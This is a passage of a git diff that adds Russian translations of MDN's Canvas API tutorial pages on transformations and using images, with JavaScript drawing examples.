+ <li>{{domxref("ImageData")}}</li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">Manipulating video using canvas</a></li>
+ <li><a href="https://codepo8.github.io/canvas-images-and-pixels/">Canvas, images and pixels – by Christian Heilmann</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Advanced_animations", "Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/transformations/index.html b/files/ru/web/api/canvas_api/tutorial/transformations/index.html
new file mode 100644
index 0000000000..0f871d6909
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/transformations/index.html
@@ -0,0 +1,275 @@
+---
+title: Transformations
+slug: Web/API/Canvas_API/Tutorial/Transformations
+translation_of: Web/API/Canvas_API/Tutorial/Transformations
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Using_images", "Web/API/Canvas_API/Tutorial/Compositing")}}</div>
+
+<div class="summary"><span class="notranslate">Ранее в этом уроке мы узнали о</span> <span class="notranslate" style="background-color: #e6ecf9;"> <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=ru&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com&amp;sl=en&amp;sp=nmt4&amp;tl=ru&amp;u=https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes&amp;usg=ALkJrhiuWce927wE2920fN95Jlcrf1HyUg">сетке холста</a></span> <span class="notranslate">и <strong>координатном пространстве</strong> .</span> <span class="notranslate"> До сих пор мы использовали только сетку по умолчанию и изменили размер всего холста для наших нужд.</span> При преобразованиях существуют более мощные способы изменения исходных координат в различные положение, поворот сетки и даже масштабирование.</div>
+
+<h2 id="Saving_and_restoring_state" name="Saving_and_restoring_state"><span class="notranslate" style="background-color: #e6ecf9;">Сохранение и восстановление состояния</span></h2>
+
+<p><span class="notranslate">Прежде чем перейти к методам преобразования, давайте рассмотрим два других метода, которые необходимы, когда вы начинаете создавать все более сложные рисунки.</span></p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.save", "save()")}}</dt>
+ <dd><span class="notranslate">Сохраняет все состояние холста.</span></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.restore", "restore()")}}</dt>
+ <dd><span class="notranslate">Восстанавливает последнее сохраненное состояние холста.</span></dd>
+</dl>
+
+<p>Состояние холста сохраняется в стеке. Каждый раз, когда вызывается метод <code>save()</code>, текущее состояние отрисовки записывается в стек. Состояние отрисовки содержит:</p>
+
+<ul>
+ <li>Трансформации, которые были применены (например, <code>translate</code>, <code>rotate</code> and <code>scale</code> – см. ниже).</li>
+ <li>Текущее значение следующих атрибутов: {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}, {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}}, {{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha")}}, {{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth")}}, {{domxref("CanvasRenderingContext2D.lineCap", "lineCap")}}, {{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin")}}, {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit")}}, {{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY")}}, {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}}, {{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor")}}, {{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation")}}, {{domxref("CanvasRenderingContext2D.font", "font")}}, {{domxref("CanvasRenderingContext2D.textAlign", "textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline")}}, {{domxref("CanvasRenderingContext2D.direction", "direction")}}, {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}}.</li>
+ <li>Текущее значение границ вырезанного холста (<a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing#Clipping_paths">clipping path</a>), которые будут рассматриваться в следующем разделе.</li>
+</ul>
+
+<p>Вы можете вызывать метод <code>save()</code> столько раз, сколько захотите. В то же время, при вызове метода <code>restore()</code> последнее сохранённое состояние будет считано из стека, и все сохранённые настройки будут восстановлены.</p>
+
+<h3 id="A_save_and_restore_canvas_state_example" name="A_save_and_restore_canvas_state_example">Пример <font face="consolas, Liberation Mono, courier, monospace">сохранения и восстановления</font> состояния холста</h3>
+
+<p>Здесь показано, как функционирует сохранение в стек состояния отрисовки на примере последовательной отрисовки набора прямоугольников.</p>
+
+<pre class="brush: js; highlight:[5,10,15,18] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.fillRect(0, 0, 150, 150);   // рисуем прямоугольник с настройками по умолчанию
+  ctx.save();                     // сохраняем состояние
+
+  ctx.fillStyle = '#09F';         // вносим изменения в настройки
+  ctx.fillRect(15, 15, 120, 120); // рисуем прямоугольник с новыми настройками
+  ctx.save();                     // сохраняем состояние
+
+  ctx.fillStyle = '#FFF';         // вносим изменения в настройки
+  ctx.globalAlpha = 0.5;
+  ctx.fillRect(30, 30, 90, 90);   // рисуем прямоугольник с новыми настройками
+
+  ctx.restore();                  // возвращаемся к предыдущим настройкам
+  ctx.fillRect(45, 45, 60, 60);   // рисуем прямоугольник с восстановленными настройками
+
+  ctx.restore();                  // возвращаемся к начальным настройкам
+  ctx.fillRect(60, 60, 30, 30);   // рисуем прямоугольник с изначальными настройками
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>Сначала рисуется большой прямоугольник с настройками по умолчанию. Затем мы сохраняем состояние холста, после чего изменяем цвет заливки. Затем рисуем второй синий прямоугольник меньшего размера и опять сохраняем состояние. Снова изменяем какие-то настройки и рисуем третий полупрозрачный белый прямоугольник.</p>
+
+<p>До сих пор наши действия ничем не отличались от тех, что мы делали в предыдущем разделе. Однако, как только мы сделали первый вызов <code>restore(),</code> последнее сохранённое состояние отрисовки было восстановлено из стека, вернув все сохранённые настройки. Если бы мы не сохранили предыдущее состояние, используя <code>save()</code>, нам бы пришлось менять цвет заливки и настройки прозрачности вручную для возврата к предыдущему состоянию. Для каких-нибудь двух простых свойств это, может быть, сделать не так сложно. Но если таких своиств гораздо больше, это чревато очень быстрым разрастанием кода.</p>
+
+<p>Когда второй вызов <code>restore()</code> сделан, изначальное состояние (то самое, которое было сделано перед первым вызовом <code>save</code>) восстанавливается и последний нарисованный прямоугольник внось становится чёрным.</p>
+
+<p>{{EmbedLiveSample("A_save_and_restore_canvas_state_example", "180", "180", "https://mdn.mozillademos.org/files/249/Canvas_savestate.png")}}</p>
+
+<h2 id="Translating" name="Translating">Трансляция (смещение)</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/234/Canvas_grid_translate.png" style="float: right;">Первый метод для трасформирования холста <code>translate()</code>. Он используется для перемещения холста в любую точку нашей сетки.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.translate", "translate(x, y)")}}</dt>
+ <dd>Перемещение холста на сетке. <code>x</code> и <code>y</code> - смещение по горизонтали и вертикали соответственно.</dd>
+</dl>
+
+<p>Неплохая идея - сохранять <code>canvas state</code> перед использованием любых трансформаций. Обычно удобнее использовать метод <code>restore</code>, чем выполнять обратные преобразования, чтобы вернуться к начальному состоянию. <span class="tlid-translation translation" lang="ru"><span title="">Кроме того, если вы выполняете преобразования внутри цикла не используя </span></span><code>save</code><span class="tlid-translation translation" lang="ru"><span title=""> и </span></span><code>restore</code><span class="tlid-translation translation" lang="ru"><span title="">, вы рискуете потерять часть рисунка, потому что он был нарисован за пределами края холста.</span></span></p>
+
+<h3 id="A_translate_example" name="A_translate_example">Пример использования <code>translate</code></h3>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Этот пример демонстрирует некоторые преимущества</span></span> при использовании смещения холста. Без использования метода <code>translate()</code> все прямоугольники будут отрисованы в одинаковой позиции (0,0). Метод <code>translate()</code> дает возможность размещения прямоугольника в любой позиции без изменения параметров функции <code>fillRect()</code>. Это может дать некоторое упрощение для понимания и использования.</p>
+
+<p>Внутри функции <code>draw()</code> мы вызываем <code>fillRect()</code> девять раз, используя два цикла <code>for</code>. Каждый раз мы сохраняем состояние холста, смещаем его, рисуем прямоугольник, а затем восстанавливаем исходное состояние. Заметьте, что <code>fillRect()</code> всегда использует одни и те же параметры, а изменение позиции фигуры осуществляется с помощью <code>translate()</code>.</p>
+
+<pre class="brush: js; highlight:[7] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i &lt; 3; i++) {
+    for (var j = 0; j &lt; 3; j++) {
+      ctx.save();
+      ctx.fillStyle = 'rgb(' + (51 * i) + ', ' + (255 - 51 * i) + ', 255)';
+      ctx.translate(10 + j * 50, 10 + i * 50);
+      ctx.fillRect(0, 0, 25, 25);
+      ctx.restore();
+    }
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_translate_example", "160", "160", "https://mdn.mozillademos.org/files/9857/translate.png")}}</p>
+
+<h2 id="Rotating" name="Rotating">Поворот</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/233/Canvas_grid_rotate.png" style="float: right;">Второй метод трансформации <code>rotate()</code>. Он используется для поворота нашего холста.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.rotate", "rotate(angle)")}}</dt>
+ <dd>Поворачивает наш холст по часовой стрелке вокруг начальной точки на угол <code>anglе</code> в радианах.</dd>
+</dl>
+
+<p>Центр поворота - всегда начало координат. Для изменения координат центра мы должны сместить холст, используя метод <code>translate()</code>.</p>
+
+<h3 id="A_rotate_example" name="A_rotate_example">Пример использования<code>rotate</code></h3>
+
+<p>В этом примере мы сначала используем <code>rotate()</code> для поворота прямоугольника относительно начала координат, а затем, используя <code>translate()</code> совместно с <code>rotate()</code> поворачиваем прямоугольник относительно его центра.</p>
+
+<div class="note">
+<p><strong>Памятка</strong>: Углы измеряются в радианах, а не в градусах. Для преобразования единиц используйте следующую формулу: <code>radians = (Math.PI/180)*degrees</code>.</p>
+</div>
+
+<pre class="brush: js; highlight:[9, 23] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // left rectangles, rotate from canvas origin
+  ctx.save();
+  // blue rect
+  ctx.fillStyle = '#0095DD';
+  ctx.fillRect(30, 30, 100, 100);
+  ctx.rotate((Math.PI / 180) * 25);
+  // grey rect
+  ctx.fillStyle = '#4D4E53';
+  ctx.fillRect(30, 30, 100, 100);
+  ctx.restore();
+
+  // right rectangles, rotate from rectangle center
+  // draw blue rect
+  ctx.fillStyle = '#0095DD';
+  ctx.fillRect(150, 30, 100, 100);
+
+  ctx.translate(200, 80); // translate to rectangle center
+                          // x = x + 0.5 * width
+                          // y = y + 0.5 * height
+  ctx.rotate((Math.PI / 180) * 25); // rotate
+  ctx.translate(-200, -80); // translate back
+
+  // draw grey rect
+  ctx.fillStyle = '#4D4E53';
+  ctx.fillRect(150, 30, 100, 100);
+}
+</pre>
+
+<p>Для поворота прямоугольника относительно его центра мы сначала смещаем начало координат, выполняем поворот, а затем выполняем обратное смещение к точке 0,0, и наконец рисуем прямоугольник.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="300" height="200"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_rotate_example", "310", "210", "https://mdn.mozillademos.org/files/9859/rotate.png")}}</p>
+
+<h2 id="Scaling" name="Scaling">Масштабирование</h2>
+
+<p>Следующий метод трансформации холста - scaling. Он используется для растяжения, сжатия и отражения координатной сетки. Он может использоваться для отрисовки растянутых или сжатых по осям фигур и изображений.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.scale", "scale(x, y)")}}</dt>
+ <dd>Масштабирует координатную сетку холста по горизонтали и вертикали. Оба параметра - вещественные числа. Значения меньше 1.0 уменьшают, а больше 1.0 увеличивают масштаб сетки. Значение 1.0 не изменяет его.</dd>
+</dl>
+
+<p>Используя отрицательные значения вы можете зеркально отразить направление осей. Например, используя <code>translate(0,canvas.height); scale(1,-1);</code> вы получите хорошо известную декартову систему координат с началом в верхнем левом углу.</p>
+
+<p>По умолчанию единица координатной сетки точно соответствует одному пикселю. Если же вы, например, зададите масштабный коэффициент 0.5, то единица сетки будет равна половине пикселя, и нарисованная фигура будет иметь размер в два раза меньше оригинала. Наоборот, если задать масштабный коэффициент 2.0, единица сетки будет соответствовать двум пикселям, а нарисованная фигура станет в два раза больше.</p>
+
+<h3 id="A_scale_example" name="A_scale_example">Пример использования <code>scale</code></h3>
+
+<p>В этом примере мы нарисуем прямоугольники, используя разные масштабные коэффициенты.</p>
+
+<pre class="brush: js; highlight:[6,11] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // рисуем масштабированный прямоугольник.
+  ctx.save();
+  ctx.scale(10, 3);
+  ctx.fillRect(1, 10, 10, 10);
+  ctx.restore();
+
+  // размещаем текст, отраженный по горизонтали
+  ctx.scale(-1, 1);
+  ctx.font = '48px serif';
+  ctx.fillText('MDN', -135, 120);
+}
+
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_scale_example", "160", "160", "https://mdn.mozillademos.org/files/9861/scale.png")}}</p>
+
+<h2 id="Transforms" name="Transforms">Матричное преобразование</h2>
+
+<p>В заключении рассмотрим метод, который вызывает изменения в соответствии с матрицей преобразования.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.transform", "transform(a, b, c, d, e, f)")}}</dt>
+ <dd>Накладывает матрицу преобразования, заданную параметрами, на текущую матрицу. Матрица преобразования задается следующим образом: <math><semantics><mrow><mo>[</mo><mtable columnalign="center center center" rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>]</mo></mrow><annotation encoding="TeX">\left[ \begin{array}{ccc} a &amp; c &amp; e \\ b &amp; d &amp; f \\ 0 &amp; 0 &amp; 1 \end{array} \right]</annotation></semantics></math></dd>
+</dl>
+
+<dl>
+ <dd>If any of the arguments are <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code> the transformation matrix must be marked as infinite instead of the method throwing an exception.</dd>
+</dl>
+
+<p>Параметры функции:</p>
+
+<dl>
+ <dt><code>a (m11)</code></dt>
+ <dd>Horizontal scaling.</dd>
+ <dt><em><code>b (m12)</code></em></dt>
+ <dd>Horizontal skewing.</dd>
+ <dt><code>c (m21)</code></dt>
+ <dd>Vertical skewing.</dd>
+ <dt><code>d (m22)</code></dt>
+ <dd>Vertical scaling.</dd>
+ <dt><code>e (dx)</code></dt>
+ <dd>Horizontal moving.</dd>
+ <dt><code>f (dy)</code></dt>
+ <dd>Vertical moving.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setTransform", "setTransform(a, b, c, d, e, f)")}}</dt>
+ <dd>Сбрасывает текущую матрицу преобразования, а затем вызывает<code>transform()</code> в соответствии с аргументами.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.resetTransform", "resetTransform()")}}</dt>
+ <dd>Сбрасывает текущую матрицу преобразования к значению по умолчанию. Аналогично вызову <code>ctx.setTransform(1, 0, 0, 1, 0, 0);</code></dd>
+</dl>
+
+<h3 id="Пример_использования_transform_и_setTransform">Пример использования <code>transform</code> и <code>setTransform</code></h3>
+
+<pre class="brush: js; highlight:[12,15] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  var sin = Math.sin(Math.PI / 6);
+  var cos = Math.cos(Math.PI / 6);
+  ctx.translate(100, 100);
+  var c = 0;
+  for (var i = 0; i &lt;= 12; i++) {
+    c = Math.floor(255 / 12 * i);
+    ctx.fillStyle = 'rgb(' + c + ', ' + c + ', ' + c + ')';
+    ctx.fillRect(0, 0, 100, 10);
+    ctx.transform(cos, sin, -sin, cos, 0, 0);
+  }
+
+  ctx.setTransform(-1, 0, 0, 1, 100, 100);
+  ctx.fillStyle = 'rgba(255, 128, 255, 0.5)';
+  ctx.fillRect(0, 50, 100, 100);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="200" height="250"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Example_for_transform_and_setTransform", "230", "280", "https://mdn.mozillademos.org/files/255/Canvas_transform.png")}}</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Using_images", "Web/API/Canvas_API/Tutorial/Compositing")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/использование_изображений/index.html b/files/ru/web/api/canvas_api/tutorial/использование_изображений/index.html
new file mode 100644
index 0000000000..3ce4b8384e
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/использование_изображений/index.html
@@ -0,0 +1,333 @@
+---
+title: Использование изображений
+slug: Web/API/Canvas_API/Tutorial/Использование_изображений
+tags:
+  - Графика
+translation_of: Web/API/Canvas_API/Tutorial/Using_images
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_text", "Web/API/Canvas_API/Tutorial/Трансформации")}}</div>
+
+<div class="summary">
+<p>До сих пор мы создавали наши собственные фигуры и применяли стили к ним. Одна из самых впечатляющих функций {{HTMLElement("canvas")}} это возможность использования изображений. Они могут быть использованы для динамического композитинга фото или как фоны графиков, для спрайтов в играх, и так далее. Внешние изображения могут быть использованы в любых поддерживаемых браузером форматах, таких как PNG, GIF, или JPEG. Вы можете даже использовать изображение, произведенное другими canvas элементами на той же странице как источник!</p>
+</div>
+
+<p>Импортирование изображений в canvas в основном состоит из 2 этапов:</p>
+
+<ol>
+ <li>Дав ссылку на {{domxref("HTMLImageElement")}} объект или для другого canvas элемента как источник. Также можно использовать изображение дав ссылку на URL.</li>
+ <li>Для рисования изображения на canvas используется функция <code>drawImage()</code>.</li>
+</ol>
+
+<p>Давайте посмотрим как это сделать.</p>
+
+<h2 id="Использование_изображений_для_рисования">Использование изображений для рисования</h2>
+
+<p>Canvas API может использовать все перечисленные далее типы данных как источник изображения:</p>
+
+<dl>
+ <dt>{{domxref("HTMLImageElement")}}</dt>
+ <dd>Эти изображения созданы, используя конструктор <code>Image()</code>, также как все{{HTMLElement("img")}} элементы.</dd>
+ <dt>{{domxref("HTMLVideoElement")}}</dt>
+ <dd>Используя HTML {{HTMLElement("video")}} элемент как источник изображения захватывает текущий кадр из видео и использует его как изображение.</dd>
+ <dt>{{domxref("HTMLCanvasElement")}}</dt>
+ <dd>Вы можете использовать другой {{HTMLElement("canvas")}} элемент как источник изображения.</dd>
+</dl>
+
+<p>Эти источники совместно именуемые по типу {{domxref("CanvasImageSource")}}.</p>
+
+<p>Есть несколько способов, чтобы получить изображения для использования на холсте.</p>
+
+<h3 id="Использование_изображений_из_той_же_страницы">Использование изображений из той же страницы</h3>
+
+<p>Мы можем получить ссылку на изображение, на той же странице, на canvas с используя  один из способов: </p>
+
+<ul>
+ <li> {{domxref("document.images")}} коллекция</li>
+ <li>The {{domxref("document.getElementsByTagName()")}} метод</li>
+ <li>Если вы знаете id конкретного изображения, который вы хотите использовать, вы можете использовать {{domxref("document.getElementById ()")}}, чтобы получить это конкретное изображение</li>
+</ul>
+
+<h3 id="Использование_изображений_из_других_доменов">Использование изображений из других доменов</h3>
+
+<p>Использование {{htmlattrxref("crossorigin", "img")}} атрибута {{HTMLElement("img")}} элемент (отображается  {{domxref("HTMLImageElement.crossOrigin")}} свойства), вы можете запросить разрешение на загрузку другого домена для использования в <code>drawImage()</code>. Если хостинг домен разрешает доступ к междоменному изображению, то изображение может быть использовано в вашем canvas без  without tainting it;иначе он может испортить ваш canvas.</p>
+
+<h3 id="Использование_других_canvas_элементов">Использование других canvas элементов</h3>
+
+<p>Как и с обычными изображениями, мы можем получить доступ к другим canvas элементам используя либо {{domxref("document.getElementsByTagName()")}} либо {{domxref("document.getElementById()")}} метод. Проверьте, что в canvas источнике уже что-то нарисовано, прежде чем использовать его в целевом изображении canvas.</p>
+
+<p>Одним из удобных способов было бы использование второго элемента canvas  в качестве миниатюры другого большего изображения canvas.</p>
+
+<h3 id="Создание_изображений_с_нуля">Создание изображений с нуля</h3>
+
+<p>Другой способ это создать новые {{domxref("HTMLImageElement")}} объекты в нашем скрипте.  Чтобы это сделать, вы можете использовать удобный <code>Image()</code> конструктор:</p>
+
+<pre class="brush: js">var img = new Image();   // Создает новый элемент изображения
+img.src = 'myImage.png'; // Устанавливает путь
+</pre>
+
+<p>Когда этот скрипт выполнится, изображение начнет загружаться.</p>
+
+<p>Если вы попытаетесь вызвать функцию <code>drawImage()</code> перед тем как изображение загрузится, то скрипт ничего не сделает (или, в старых браузерах, может даже выдать исключение). Поэтому вам необходимо использовать событие load, чтобы вы не пытались сделать это прежде, чем изображение загрузится:</p>
+
+<pre class="brush: js">var img = new Image();   // Создает новое изображение
+img.addEventListener("load", function() {
+  // здесь выполняет drawImage функцию
+}, false);
+img.src = 'myImage.png'; // Устанавливает источник файла
+</pre>
+
+<p>Если вы используете только одно стороннее изображение, то этот метод может быть хорошим примером, но если нужно следить за несколькими изображениями, то необходимо придумать что-то более умное. Хотя поиски тактики проверки загрузки изображений выходят за пределы этого обучающего курса,  вы должны об этом помнить.</p>
+
+<h3 id="Вложение_изображения_с_помощью_данных_URL">Вложение изображения с помощью данных: URL</h3>
+
+<p>Другой возможный способ включить изображение это через <a class="external" href="/en-US/docs/Web/HTTP/data_URIs" rel="external" title="http://en.wikipedia.org/wiki/Data:_URL">data: url</a>. Data URLs позволяет вам полностью определить изображение как Base64 кодированную строку символов прямо в ваш код.</p>
+
+<pre class="brush: js">var img = new Image();   // Создает новый элемент img
+img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAsAAAIUhA+hkcuO4lmNVindo7qyrIXiGBYAOw==';
+</pre>
+
+<p>Одним из преимуществ data URLs  это то что полученное изображение доступно сразу без других запросов туда-обратно на сервер. Другое потенциальное преимущество в том, что также можно инкапсулировать всё в одном файле все ваши <a href="/en-US/docs/Web/CSS" title="/en-US/docs/Web/CSS">CSS</a>, <a href="/en-US/docs/Web/JavaScript" title="/en-US/docs/Web/JavaScript">JavaScript</a>, <a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a>, и изображения, что делает его более портативным в других местах.</p>
+
+<p>Некоторые недостатки этого метода в том что ваше изображение не кешировано, и для изображений с большим размером кодированние url может стать очень долгим процессом.</p>
+
+<h3 id="Использование_кадров_из_видео">Использование кадров из видео</h3>
+
+<p>Вы также можете использовать кадры из видео представленных {{HTMLElement("video")}} элементом (даже если видео не видно). Например, если у вас есть  {{HTMLElement("video")}} элемент с  ID "myvideo", вы можете сделать:</p>
+
+<pre class="brush: js">function getMyVideo() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    return document.getElementById('myvideo');
+  }
+}
+</pre>
+
+<p>Эта функция вернет {{domxref("HTMLVideoElement")}} объект для этого видео, который, как мы упоминали ранее, является одним из объектов, который можно использовать как <code>CanvasImageSource</code>.</p>
+
+<h2 id="Рисование_изображений">Рисование изображений</h2>
+
+<p>Как только мы получили ссылку на источник объекта изображения, мы можем использовать метод <code>drawImage()</code> для включения его в  canvas. Как мы увидим далее, метод <code>drawImage()</code> перегружен и у него есть несколько вариантов. В базовом варианте он выглядит как:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, x, y)")}}</dt>
+ <dd>Рисует  изображение, указанное в <code>CanvasImageSource</code> в координатах  (<code>x</code>, <code>y</code>).</dd>
+</dl>
+
+<div class="note">
+<p>SVG изображения должны указывать ширину и высоту корневого  &lt;svg&gt; элемента.</p>
+</div>
+
+<h3 id="Пример_Простой_линейный_график">Пример: Простой линейный график</h3>
+
+<p>В следующем примере, мы будем использовать внешнее изображение в качестве фона для небольшого линейного графика. Использование фонов может сделать ваш скрипт значительно меньше, потому что мы можем избежать необходимости писать код для создания фона. В этом примере мы используем только один образ, поэтому я использую обработчик событий изображения объекта загрузки для выполнения операторов рисования. <code>drawImage()</code> метод определяющий место фона с координатами (0, 0), которые привязаны к верхнему левому углу canvas.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="180" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[5]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var img = new Image();
+  img.onload = function(){
+    ctx.drawImage(img,0,0);
+    ctx.beginPath();
+    ctx.moveTo(30,96);
+    ctx.lineTo(70,66);
+    ctx.lineTo(103,76);
+    ctx.lineTo(170,15);
+    ctx.stroke();
+  };
+  img.src = 'https://mdn.mozillademos.org/files/5395/backdrop.png';
+}</pre>
+
+<p>Получившийся график выглядит так:</p>
+
+<p>{{EmbedLiveSample("Example_A_simple_line_graph", 220, 160, "https://mdn.mozillademos.org/files/206/Canvas_backdrop.png")}}</p>
+
+<h2 id="Изменение_размеров">Изменение размеров</h2>
+
+<p>Второй вариант метода <code>drawImage()</code> добавляет два новых параметра и позволяет разместить изображение в  canvas с измененными размерами.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, x, y, width, height)")}}</dt>
+ <dd>Это добавляет параметр ширины и высоты, которые указывают до какого размера нужно изменить изображение при рисовании его в  canvas.</dd>
+</dl>
+
+<h3 id="Пример_Тайлинг_изображения">Пример: Тайлинг изображения</h3>
+
+<p>В этом примере, мы будем использовать изображение в качестве обоев и повторим его в canvas несколько раз. Это может быть сделано просто через цикл, располагая измененные изображения на разных позициях. В коде внизу, первый цикл <code>for</code> проходит по рядам. Второй цикл <code>for</code> проходит по колонкам. Изображение уменьшено на треть от реального размера, которое было  50x38 пикселей.</p>
+
+<div class="note">
+<p><strong>Обратите внимание</strong>: Изображения могут стать размытыми, при большом увеличении или зернистыми при значительном уменьшении. Возможно, лучше всего не изменять размеры изображения, если на них есть текст, который должен остаться читаемым. </p>
+</div>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var img = new Image();
+  img.onload = function(){
+    for (var i=0;i&lt;4;i++){
+      for (var j=0;j&lt;3;j++){
+        ctx.drawImage(img,j*50,i*38,50,38);
+      }
+    }
+  };
+  img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+}</pre>
+
+<p>Получившийся рисунок canvas выглядит так:</p>
+
+<p>{{EmbedLiveSample("Example_Tiling_an_image", 160, 160, "https://mdn.mozillademos.org/files/251/Canvas_scale_image.png")}}</p>
+
+<h2 id="Нарезка">Нарезка</h2>
+
+<p>У третьего и последнего варианта метода <code>drawImage()</code> в дополнении к источнику изображения есть еще восемь параметров . Он позволяет нам вырезать кусок из изображения, затем изменить его размер и нарисовать его в canvas.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight)")}}</dt>
+ <dd>В данном изображении, эта функция берет фрагмент из изображения, в виде прямоугольника, левый верхний угол которого -  (<code>sx</code>, <code>sy</code>), ширина и высота -  <code>sWidth</code> и <code>sHeight</code> и рисует  в  canvas, располагая его в точке  (<code>dx</code>, <code>dy</code>) и изменяя его размер на указанные величины в  <code>dWidth</code> и <code>dHeight</code>.</dd>
+</dl>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/225/Canvas_drawimage.jpg" style="float: right; height: 290px; width: 300px;">Чтобы понять что  делает нарезка, можно посмотреть на изображение справа. Первые четыре параметра определяют местоположение и размер фрагмента исходного изображения.  Последние четыре параметра определяют прямоугольник, в который будет вписано изображение на целевом рисунке  canvas.</p>
+
